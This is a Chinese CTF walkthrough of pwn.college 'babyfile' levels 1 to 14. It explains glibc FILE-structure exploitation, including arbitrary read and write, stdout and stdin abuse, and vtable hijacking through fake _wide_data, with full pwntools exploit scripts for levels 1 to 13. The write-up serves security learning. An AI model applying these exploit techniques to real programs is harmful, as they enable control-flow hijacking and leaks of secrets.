0x00 事前准备

这部分可以参考Pwn College Format String Exploits Level 1.0 ~ Level 9.1攻略的事前准备部分。
依旧把payload用到的lambda函数放在这里

s       = lambda data               :p.send(data)
sl = lambda data :p.sendline(data)
sa = lambda x,data :p.sendafter(x, data)
sla = lambda x,data :p.sendlineafter(x, data)
r = lambda num=4096 :p.recv(num)
rl = lambda num=4096 :p.recvline(num)
ru = lambda x :p.recvuntil(x)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
uru64 = lambda :uu64(ru('\x7f')[-6:])
leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name))))
libc_os = lambda x :libc_base + x
libc_sym = lambda x :libc_os(libc.sym[x])
clear = lambda : os.system('clear')
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

def debug(cmd=''):
if choice==1:
return
gdb.attach(p,cmd)

然后是dump附件需要用到的命令,记得在level后面的x填入对应的数字

scp -i ~/.ssh/key hacker@dojo.pwn.college:/challenge/babyfile_level{x} .

0x01 闯关

level 1

Harness the power of FILE structs to arbitrarily read data.

初见FILE Struct,大概看了一点教学视频,来看看第一关的程序需要我们做什么

int __fastcall main(int argc, const char **argv, const char **envp)
{
int v3; // eax

setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
puts("###");
printf("### Welcome to %s!\n", *argv);
puts("###");
putchar(10);
puts(
"This challenge allows you to manipulate the memory of an _IO_FILE struct object. By doing this, you can arbitrarily read");
puts(
"or write to take control of the process. You may also take control of the virtual function table at the end of the FILE");
puts("struct. If you do this, then you can directly take control of the process and call some other function.\n");
printf("The flag has been read into memory and is located at %p\n", &secret);
v3 = open("/flag", 0);
read(v3, &secret, 0x64uLL);
challenge((unsigned int)argc, argv, envp);
puts("### Goodbye!");
return 0;
}

将flag中的内容读到secret里面了,并且给出了secret的地址。跟进一下challenge

size_t challenge()
{
create_tmp_file();
buf = malloc(0x100uLL);
puts("This exploit will involve performing an arbitrary read to leak some sensitive the flag.\n");
fp = fopen("/tmp/babyfile.txt", "w");
print_fp(fp);
puts("Now reading from stdin directly to the FILE struct.\n");
read(0, fp, 0x1E0uLL);
print_fp(fp);
return fwrite(buf, 1uLL, 0x100uLL, fp);
}

允许我们直接修改结构体,这题可以参考他的教学视频FILE结构体漏洞利用:0x02 任意读与任意写,这边找了个中文翻译的视频。也可以看他的课件,当中提到构造任意读的FILE struct你需要做这些事情:
alt text
alt text
如果你有看视频的话他会说只做到下面这样就行了
alt text

这里使用pwntools给我们集成的工具来生成需要的FILE Struct

from pwn import *
fp = FileStructure()

就像视频中演示的那样,废话不多说,直接放payload

ru('and is located at ')
addr = int(rl()[:-1],16)
leak('addr')

fp = FileStructure()
payload = fp.write(addr,0x120)

sla('Now reading from stdin directly to the FILE struct.\n\n',payload)

level 2

Harness the power of FILE structs to arbitrarily write data to bypass a security check.

先看看程序

int __fastcall main(int argc, const char **argv, const char **envp)
{
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(_bss_start, 0LL, 2, 0LL);
puts("###");
printf("### Welcome to %s!\n", *argv);
puts("###");
putchar(10);
puts(
"This challenge allows you to manipulate the memory of an _IO_FILE struct object. By doing this, you can arbitrarily read");
puts(
"or write to take control of the process. You may also take control of the virtual function table at the end of the FILE");
puts("struct. If you do this, then you can directly take control of the process and call some other function.\n");
challenge((unsigned int)argc, argv, envp);
puts("### Goodbye!");
return 0;
}

实际上与前一关才差不多,继续跟进challenge

int challenge()
{
create_tmp_file();
authenticated = 0;
buf = malloc(0x100uLL);
puts(
"This exploit will involve performing an arbitrary write to execute a code segment which is otherwise unreachable.\n");
fp = fopen("/tmp/babyfile.txt", "r");
print_fp(fp);
puts("Now reading from stdin directly to the FILE struct.\n");
read(0, fp, 0x1E0uLL);
print_fp(fp);
fread(buf, 1uLL, 0x100uLL, fp);
if ( authenticated )
return win();
else
return puts("You are not 1337 enough.");
}

authenticated 默认为0,需要我们利用FILE Struct构造任意读。FILE结构体漏洞利用:0x02 任意读与任意写 视频的前半段就是在讲如何构造任意读的,照搬就行,authenticated的地址虽然没给出,但是我们可以通过ida找到这个地址

paylaod:

challeng_val = 0x0000000004041F8

fp = FileStructure()
payload = fp.read(challeng_val,20)

sa('Now reading from stdin directly to the FILE struct.\n\n',payload)

sla('{0:0:0:0:0:0:0:0:0:0:0:0:0:0:0:0:0:0:0:0}',b'1'*0x30)

sl(b'1'*0x30)
sl(b'1'*0x30)
sl(b'1'*0x30)
sl(b'1'*0x30)
sl(b'1'*0x30)

因为构造的是从标准输入读取数据,所以我们还需要额外自己发送。

level 3

Harness the power of FILE structs to redirect data output

程序dump下来后依旧看看challenge函数

size_t challenge()
{
FILE *v1; // [rsp+28h] [rbp-8h]

create_tmp_file();
buf = malloc(0x100uLL);
puts(
"This exploit will involve altering the flow of data by editing the _fileno attribute of a FILE structure so that private");
puts("data can be made publicly readable.\n");
fp = fopen("/tmp/babyflag.txt", "r+");
fread(buf, 1uLL, 0x100uLL, fp);
v1 = fopen("/tmp/babyfile.txt", "r+");
printf("fp2->_fileno = %d\n", (unsigned int)v1->_fileno);
print_fp(fp);
puts("Now reading from stdin directly to the FILE struct.\n");
read(0, &fp->_fileno, 0x170uLL);
print_fp(fp);
return fwrite(buf, 1uLL, 0x100uLL, fp);
}

可以看到我们允许直接编辑/tmp/babyfile.txt这个FILE Struct从_fileno开始的字段。在create_tmp_file函数中/flag的内容被写到了/tmp/babyflag.txt里面,同时我们没法直接从外部读,因为没有权限

ls -l /tmp/
total 20
-rw-rw-rw- 1 root hacker 256 Sep 18 04:11 babyfile.txt
-rw------- 1 root hacker 58 Sep 18 04:11 babyflag.txt

接着通过fread(buf, 1uLL, 0x100uLL, fp); 将内容读到buf上。然后我们可以通过修改/tmp/babyflag.txt_fileno以及其之后的字段,这就是为什么题目给出了/tmp/babyfile.txt_fileno,我们可以修改/tmp/babyflag.txt结构体的_fileno/tmp/babyfile.txt_fileno,这样最后的fwrite(buf, 1uLL, 0x100uLL, fp);就会将flag写到一个我们可读可写的文件里面。

payload :

payload = p64(4)
sa('Now reading from stdin directly to the FILE struct.\n\n',payload)

level 4

Harness the power of FILE structs to arbitrarily read/write data to hijack control flow.

先ida启动一下,依旧直奔challenge

size_t challenge()
{
void *retaddr; // [rsp+38h] [rbp+8h] BYREF

create_tmp_file();
printf("[LEAK] return address is stored at: 0x%llx\n", &retaddr);
buf = malloc(0x100uLL);
puts(
"This exploit will involve performing an arbitrary write to execute a code segment which is otherwise unreachable.\n");
fp = fopen("/tmp/babyfile.txt", "r");
print_fp(fp);
puts("Now reading from stdin directly to the FILE struct.\n");
read(0, fp, 0x1E0uLL);
print_fp(fp);
return fread(buf, 1uLL, 0x100uLL, fp);
}

这里首先是泄露出了 challenge 函数的返回地址所在的栈地址,然后依旧是level2的内容,同时程序中有 win 函数
alt text是一个读flag文件的函数,所以也就是level2同款解法

win = elf.sym['win']
ru('is stored at: ')
target_addr =int(r(14),16)
leak('target_addr')

fp = FileStructure()

payload = fp.read(target_addr,0x100)

# debug()
sa('Now reading from stdin directly to the FILE struct.\n\n',payload)

sla('{0:0:0:0:0:0:0:0:0:0:0:0:0:0:0:0:0:0:0:0}',b'\x00')
pause()
sl(b'\x00'*0x30)
sl(b'\x00'*0x30)
sl(b'\x00'*0x30)
sl(b'\x00'*0x30)
sl(b'\x00'*0x30)

sl(p64(win))

这里为了填满缓冲区,所以显得exp有点诡异。自己试试就大概知道填多少(

level 5

Abuse built-in FILE structs to leak sensitive information.

main函数中将flag读到secret里面

v3 = open("/flag", 0);
read(v3, &secret, 0x64uLL);

接着来看 challenge

__int64 challenge()
{
create_tmp_file();
buf = (__int64)malloc(0x100uLL);
puts(
"This FILE struct points to _IO_2_1_stdout_ (otherwise known as just stdout). The stdout FILE struct can be abused to");
puts("perform arbitrary read exploits. These exploits will be triggered by functions such as puts() or printf()\n");
fp = stdout;
print_fp(stdout);
puts("Now reading from stdin directly to the FILE struct.\n");
read(0, fp, 0x1E0uLL);
return print_fp(fp);
}

直接允许修改 stdout, 实际上 stdout需要用来泄露任意地址的话还是比较简单的, 参考 利用 IO_2_1_stdout 泄露信息 我们这里对应的情况是stdout已经输出过,所以_IO_CURRENTLY_PUTTING标志位就是1,我们只要修改stdout->_IO_write_base和stdout->_IO_read_end指针就好,实际上level 1 在做的就是这个事情,简单写下exp

ru(' memory and is located at ')
leak_addr = int(r(8),16)

fp = FileStructure()
payload = fp.write(leak_addr,0x50)
print(fp)
sa('Now reading from stdin directly to the FILE struct.\n\n',payload)

把构造好的结构体打印出来看一下,的确是如文章中以及level 1中那样,动了 _IO_write_base, _IO_read_end 和必要的 _IO_write_ptr

{ flags: 0x800
_IO_read_ptr: 0x0
_IO_read_end: 0x4040c0
_IO_read_base: 0x0
_IO_write_base: 0x4040c0
_IO_write_ptr: 0x404110
_IO_write_end: 0x0
_IO_buf_base: 0x0
_IO_buf_end: 0x0
_IO_save_base: 0x0
_IO_backup_base: 0x0
_IO_save_end: 0x0
markers: 0x0
chain: 0x0
fileno: 0x1
_flags2: 0x0
_old_offset: 0xffffffffffffffff
_cur_column: 0x0
_vtable_offset: 0x0
_shortbuf: 0x0
unknown1: 0x0
_lock: 0x0
_offset: 0xffffffffffffffff
_codecvt: 0x0
_wide_data: 0x0
unknown2: 0x0
vtable: 0x0}

level 6

Abuse built-in FILE structs to bypass a security check.

依旧直奔 challege()

int challenge()
{
create_tmp_file();
authenticated = 0;
buf = (__int64)malloc(0x100uLL);
puts(
"This FILE struct points to _IO_2_1_stdin_ (otherwise known as just stdin) The stdin FILE struct can be abused to perform");
puts("arbitrary write exploits. These exploits will be triggered by functions such as scanf().\n");
fp = stdin;
print_fp(stdin);
puts("Now reading from stdin directly to the FILE struct.\n");
read(0, fp, 0x1E0uLL);
print_fp(fp);
puts("Please log in.");
__isoc99_scanf("%64s", buf);
if ( authenticated )
return win();
else
return puts("You are not 1337 enough.");
}

非常熟悉,实际上要做的事情跟level 2 & 4一模一样,只不过这次允许我们直接写stdin结构体,可以大概参考一下【我的 PWN 学习手札】IO_FILE 之 stdin任意地址写 这里就直接放exp了

target = 0x00000000004041F8

fp = FileStructure()
payload = fp.read(target,0x100)

sa('Now reading from stdin directly to the FILE struct.\n\n',payload)
sla('Please log in.\n',b'1'*0x30)

不同的是不需要大量垃圾数据来填满缓冲区了

level 7

Create a fake _wide_data struct to hijack control of the virtual function table of a FILE struct.

依旧先看程序逻辑,从题目描述以及程序输出来看,需要覆盖掉vtable以及自己构造_wide_data段来劫持程序流,一开始泄露了puts的地址。有什么用后面会提到
alt text然后challenge依旧是老几样

buf = malloc(0x100uLL);
printf("[LEAK] The name buffer is located at: %p\n", buf);
...
fp = fopen("/tmp/babyfile.txt", "w");
print_fp(fp);
puts("Please enter your name.");
read(0, buf, 0x100uLL);
printf("Hello, %s!\n", (const char *)buf);
puts("Now reading from stdin directly to the FILE struct.\n");
read(0, fp, 0x1E0uLL);
print_fp(fp);
return fwrite(buf, 1uLL, 0x100uLL, fp);

同时给了我们输入的堆地址
这关的解法可以参考视频FILE结构体漏洞利用:0x03 FILE_plus和vtable 大概看完gdb演示就知道原理是什么
alt text他的解法是将vtable这个字段覆盖成_IO_wflie_jumps_maybe_mmap这个应该是来自libc的内容,所以一开始给的puts是用来泄露libc用的。
那没法用这个怎么办呢,没关系我们可以参考国内大神的House of apple解法:[原创]2023强网杯warmup题解 实际上视频中的_IO_wflie_jumps_maybe_mmap + 160就是这个题解里面的ibc.sym['_IO_wfile_jumps'] + libc_base - 0x20,我们将vtable覆盖掉,使其能够调用_IO_wfile_overflow, 然后将FILE Structure的_wide_data字段覆盖为我们自己伪造的结构体的地址即可,在GDB里面简单看一下这个流程
首先是从fwrite出发,它会调用vtable + 0x38位置的函数,但是vtable已经被我们覆盖成_IO_wfile_jumps了,会按照_IO_wfile_jumps去进行索引
alt text接着就是像视频中那样,到_IO_wdoallocbuf
alt text最后就算从一开始的_wide_data中进行索引,我们提前在_wide_data中放入我们构造的假的结构体的地址,最终索引到我们自己构造的win函数
EXP:

ru(' puts() within libc is: ')
libc_base = int(rl()[-13:-1],16) - libc.sym['puts']
leak('libc_base')
ru('[LEAK] The name buffer is located at: ')
buf_addr = int(r(10),16)
leak('buf_addr')

fake_vtable = b'\x00'*0x68 + p64(elf.sym['win'])
fake_vtable = fake_vtable.ljust(0xe0,b'\x00')
fake_vtable += p64(buf_addr)

fp = FileStructure()
fp.vtable = libc.sym['_IO_wfile_jumps'] + libc_base - 0x20
ru('_lock')
fp._lock = int(rl()[-11:-1],16)
fp._wide_data = buf_addr

# debug()
sa('Please enter your name.',fake_vtable)
sa('Now reading from stdin directly to the FILE struct.\n\n',bytes(fp))

值得注意的是我们还需要给_lock字段设置正确的值,这样能保证程序不会卡在fwrite这里

level 8

Create a fake _wide_data struct to hijack control of the virtual function table of a FILE struct.

同level 7,只不过这次没法再往一个单独的堆地址上输入了,而是只能输入到结构体里面去

puts("Now reading from stdin directly to the FILE struct.\n");
printf("[LEAK] You are writing to: 0x%llx\n", fp);
read(0, fp, 0x1E0uLL);
print_fp(fp);
return fwrite(buf, 1uLL, 0x100uLL, fp);

虽然多了些许限制,但是只要稍微调整一下_wide_data以及win函数存放的位置就行了。
EXP:

ru(' puts() within libc is: ')
libc_base = int(rl()[-13:-1],16) - libc.sym['puts']
leak('libc_base')

fp = FileStructure()
fp.vtable = libc.sym['_IO_wfile_jumps'] + libc_base - 0x20
fp._IO_save_end = p64(elf.sym['win'])

ru('_lock')
fp._lock = int(rl()[-11:-1],16)
ru('[LEAK] You are writing to: ')
fp_addr = int(r(10),16)
leak('fp_addr')
fp._wide_data = fp_addr + 0x60 - 0xe0

fp.markers = fp_addr - 0x10
s(bytes(fp))

level 9

Create a fake _wide_data struct to hijack control of the virtual function table of a built-in FILE struct.

这个模块简直就是House of apple的前置知识教学,程序逻辑依旧与level 8类似,只不过这次能够直接修改的是stdout

fp = stdout;
print_fp(stdout);
puts("Now reading from stdin directly to the FILE struct.\n");
read(0, fp, 0x1E0uLL);
return print_fp(fp);

攻击手段与前面两个level差不多,但我前面都是自己试出来的,到这就搞不定了,简单搜索了一下,我们可以参考[原创] House of apple 一种新的glibc中IO攻击方法 (2) 依旧是劫持vtable,让程序执行_IO_wfile_overflow, 接着就是一系列的调用链,注意设置stdout结构体需要满足以下条件
alt text
因为stdout前面就是stderr,中间有不少地方都是0,gdb调一下选一个就可以了。
先放个EXP在这里,然后提一下稍微需要注意的事


ru(' puts() within libc is: ')
libc_base = int(rl()[-13:-1],16) - libc.sym['puts']
leak('libc_base')

ru('fp -> ')
stdout_addr = int(r(14),16)
leak('stdout_addr')

fp = FileStructure()
fp.flags = 0

ru('_IO_read_ptr')
addr = int(rl()[-15:-1],16)
leak('addr')

ru('_chain')
fp.chain = int(rl()[-15:-1],16)

ru('_lock')
fp._lock = int(rl()[-15:-1],16)

fp._IO_write_end = stdout_addr - 8 # A + 0xe0 = B
fp.markers = 0x00000000040188B # B + 0X68 = C

fp._wide_data = stdout_addr + 0x30 -0xe0 # _wide_data = A

fp.vtable = libc.sym['_IO_wfile_jumps'] + libc_base - 0x20

sa('Now reading from stdin directly to the FILE struct.\n\n',bytes(fp))

wide_data的选择
alt text 与以往有所不同的是,C(也就是我们劫持stdout的最终目标函数)并不是直接从头开始的
alt text我这里把它设置成了从open('/flag',0)开始
alt text这是因为我们改变stdout劫持程序流是由puts函数触发的,如果从头开始的话就会一直不断循环(puts-> 调用链-> C函数-> puts …),完全没办法让程序继续走下去,所以我们这里直接从open('/flag',0)开始

level 10

Create a fake _wide_data struct to hijack control of the virtual function table of a FILE struct.

同level 8,但是authenticate函数会对其传入的参数进行检查

__uid_t __fastcall authenticate(const char *a1)
{
if ( strcmp(a1, "password") )
{
printf("You are not 1337 enough.");
exit(0);
}
chmod("/flag", 0x1FFu);
puts("You win! Here is your flag:");
...
}

依旧是这篇文章[原创] House of apple 一种新的glibc中IO攻击方法 (2)
当中提到如果需要给劫持的函数传参的话设置flags字段即可,直接将level 8的exp搬过来再加上一句即可

ru(' puts() within libc is: ')
libc_base = int(rl()[-13:-1],16) - libc.sym['puts']
leak('libc_base')

fp = FileStructure()
fp.vtable = libc.sym['_IO_wfile_jumps'] + libc_base - 0x20
fp._IO_save_end = p64(elf.sym['authenticate'])

ru('_lock')
fp.flags = b'password'
fp._lock = int(rl()[-11:-1],16)
ru('[LEAK] You are writing to: ')
fp_addr = int(r(10),16)
leak('fp_addr')
fp._wide_data = fp_addr + 0x60 - 0xe0

fp.markers = fp_addr - 0x10
s(bytes(fp))

效果如下alt text

level 11

Apply FILE struct exploits to leak a secret value.

来到level 11,程序变得有些吓人,但是无需担心,一点一点看就行。
main函数没什么区别,还是把flag读到了bss段上

v3 = open("/flag", 0);
read(v3, &secret, 0x64uLL);

接着我们看challenge,变成了很大一坨,但是不要紧,简单看了下比较像国内的菜单堆题,主要分成几个功能

printf("[*] Commands: (new_note/del_note/write_note/read_note/open_file/close_file/write_file/write_fp/quit):\n> ");

new_note

printf("How many bytes to the note?\n> ");
__isoc99_scanf("%127s%*c", s1);
size = atoi(s1);
ptr = malloc(size);
size_4 = size;
printf("notes[%d] = %p;", 0LL, ptr);

malloc一个堆块,大小由我们决定

del_note

printf("free(notes[%d]);\n", 0LL);
free(ptr);
ptr = 0LL;

free掉一个堆块,细节清空指针,没有UAF

write_note

read(0, ptr, size_4);

编辑堆块

read_note

write(1, ptr, size_4);

输出堆块的内容

open_file

fp = fopen("/tmp/babyfile.txt", "w");
printf("fp = fopen(\"/tmp/babyfile.txt\", \"w\") = %p\n", fp);

读取一个FILE_Structure

close_file

fclose(fp);

write_file

printf("fwrite(notes[%d], %d, %d, fp);\n", 0LL, 1LL, size_4);
fwrite(ptr, 1uLL, size_4, fp);

将申请出来的堆块与FILE_Structure进行fwrite操作

write_fp

print_fp(fp);
read(0, fp, 0x1E0uLL);
print_fp(fp);

修改FILE_Structure

捋清楚了这些之后这个题目就变成了level 1同款了,只不过有些操作需要我们自己做而已。

def new_note(size):
sla('> ','new_note')
sla('> ',str(size))

def del_note():
sla('> ','del_note')

def write_note(content):
sla('> ','write_note')
s(content)

def read_note():
sla('> ','read_note')

def open_file():
sla('> ','open_file')

def close_file():
sla('> ','close_file')

def write_fp(fp):
sla('> ','write_fp')
sa('{0:0:0:0:0:0:0:0:0:0:0:0:0:0:0:0:0:0:0:0}',fp)

def write_file():
sla('> ','write_file')

ru('The flag has been read into memory and is located at ')
secert_addr = int(r(8),16)
leak('secert_addr')

fp = FileStructure()
payload = fp.write(secert_addr,0x100)

new_note(0x100)
open_file()
write_fp(payload)
write_file()

level 12

Apply FILE struct exploits to write data to bypass a security check.

大概看了一眼程序

printf("[LEAK] main is located at: %p\n", main);
challenge((unsigned int)argc, argv, envp);

泄露了main函数地址,checksec一下发现开了PIE。不过问题不大,跟进challenge,发现多了一个这样的分支

if ( strcmp(s1, "authenticate") )
break;
if ( authenticated )
win();
else
puts("You are not 1337 enough.");

而且有

if ( strcmp(s1, "open_file") )
break;
fp = fopen("/tmp/babyfile.txt", "r");
printf("fp = fopen(\"/tmp/babyfile.txt\", \"r\") = %p\n", fp);

...

if ( strcmp(s1, "read_file") )
break;
printf("Which note? (0-10)\n> ");
__isoc99_scanf("%127s%*c", s1);
v5 = atoi(s1);
printf("fread(notes[%d], %d, %d, fp);\n", v5, 1LL, (unsigned int)size[v5 + 1]);
fread(ptr[v5], 1uLL, (unsigned int)size[v5 + 1], fp);

if ( strcmp(s1, "write_fp") )
break;
print_fp(fp);
read(0, fp, 0x1E0uLL);
print_fp(fp);

这样就变成了level 2 同款,不过就是多了pie和一点额外的程序要做,因为在read_file这里要求有一个堆块,所以提前申请一下就可以了

def new_note(index,size):
sla('> ','new_note')
sla('> ',str(index))
sla('> ',str(size))

def del_note():
sla('> ','del_note')

def write_note(content):
sla('> ','write_note')
s(content)

def read_note():
sla('> ','read_note')

def read_file(index):
sla('> ','read_file')
sla('> ',str(index))

def open_file():
sla('> ','open_file')

def close_file():
sla('> ','close_file')

def write_fp(fp):
sla('> ','write_fp')
sa('{0:0:0:0:0:0:0:0:0:0:0:0:0:0:0:0:0:0:0:0}',fp)

def write_file():
sla('> ','write_file')

def win():
sla('> ','authenticate')

ru('main is located at: ')
main_addr = int(rl()[:-1],16)
leak('main_addr')

pie_base = main_addr - elf.sym['main']
elf.address = pie_base
leak('pie_base')

new_note(0,0x100)

open_file()

authenticate = 0x000000000005170 + pie_base
fp = FileStructure()
payload = fp.read(authenticate,20)
write_fp(payload)
read_file(0)

ru('fread')
sl(b'1'*0x30)
sl(b'1'*0x30)
sl(b'1'*0x30)
sl(b'1'*0x30)
sl(b'1'*0x30)
sl(b'1'*0x30)
sl(b'1'*0x30)

ru('Commands: ')
win()

level 13

Apply FILE struct exploits to write data and hijack control flow.

依旧pie,但这次没泄露,反而给了栈地址。

printf("[LEAK] The address of cmd where you are writing to is: %p\n\n", s1);

有fwrite和fread,

if ( strcmp(s1, "write_file") )
break;
printf("Which note? (0-10)\n> ");
__isoc99_scanf("%127s%*c", s1);
v8 = atoi(s1);
printf("fwrite(notes[%d], %d, %d, fp);\n", v8, 1, size[v8 + 1]);
fwrite(ptr[v8], 1u, (unsigned int)size[v8 + 1], fp);

if ( strcmp(s1, "read_file") )
break;
printf("Which note? (0-10)\n> ");
__isoc99_scanf("%127s%*c", s1);
v9 = atoi(s1);
printf("fread(notes[%d], %d, %d, fp);\n", v9, 1, size[v9 + 1]);
fread(ptr[v9], 1u, (unsigned int)size[v9 + 1], fp);

最后有返回到main函数:

result = strcmp(s1, "quit");
if ( !result )
break;

因为我们有栈地址,所以可以通过level 1和leavel 2的方法来泄露出程序原本的返回地址,计算出pie之后,将原本的返回地址写成后门函数
alt text

def new_note(index,size):
sla('> ','new_note')
sla('> ',str(index))
sla('> ',str(size))

def del_note():
sla('> ','del_note')

def write_note(content):
sla('> ','write_note')
s(content)

def read_note():
sla('> ','read_note')

def read_file(index):
sla('> ','read_file')
sla('> ',str(index))

def open_file():
sla('> ','open_file')

def close_file():
sla('> ','close_file')

def write_fp(fp):
sla('> ','write_fp')
sa('_unused2',fp)

def write_file(index):
sla('> ','write_file')
sla('> ',str(index))

def quit():
sla('> ','quit')

ru('The address of cmd where you are writing to is: ')
stack_addr = int(rl()[:-1],16)
leak('stack_addr')

ret_addr = stack_addr + 0x98
leak('ret_addr')

new_note(0,0x100)
open_file()
fp = FileStructure()
payload = fp.write(ret_addr,0x50)
write_fp(payload)
write_file(0)
ru('> fwrite(notes[0], 1, 256, fp);\n')
main_addr = uu64(r(6).ljust(8,b'\x00')) - 201
leak('main_addr')
# debug('b *$rebase(0x00000000000020EA)')

pie_base = main_addr - elf.sym['main']
elf.address = pie_base
leak('pie_base')

new_note(1,0x100)
fp1 = FileStructure()
payload = fp1.read(ret_addr,0x50)
write_fp(payload)
read_file(1)

ru('> fread(notes[1], 1, 256, fp);\n')
sl(p64(elf.sym['win'])*(0x30//8))
sl(p64(elf.sym['win'])*(0x30//8))
sl(p64(elf.sym['win'])*(0x30//8))
sl(p64(elf.sym['win'])*(0x30//8))
sl(p64(elf.sym['win'])*(0x30//8))
sl(p64(elf.sym['win'])*(0x30//8))

quit()

level 14

Apply FILE struct exploits to write data to hijack control flow.. again?

同level 13,但这次没有了write_file,但是依旧给了栈地址。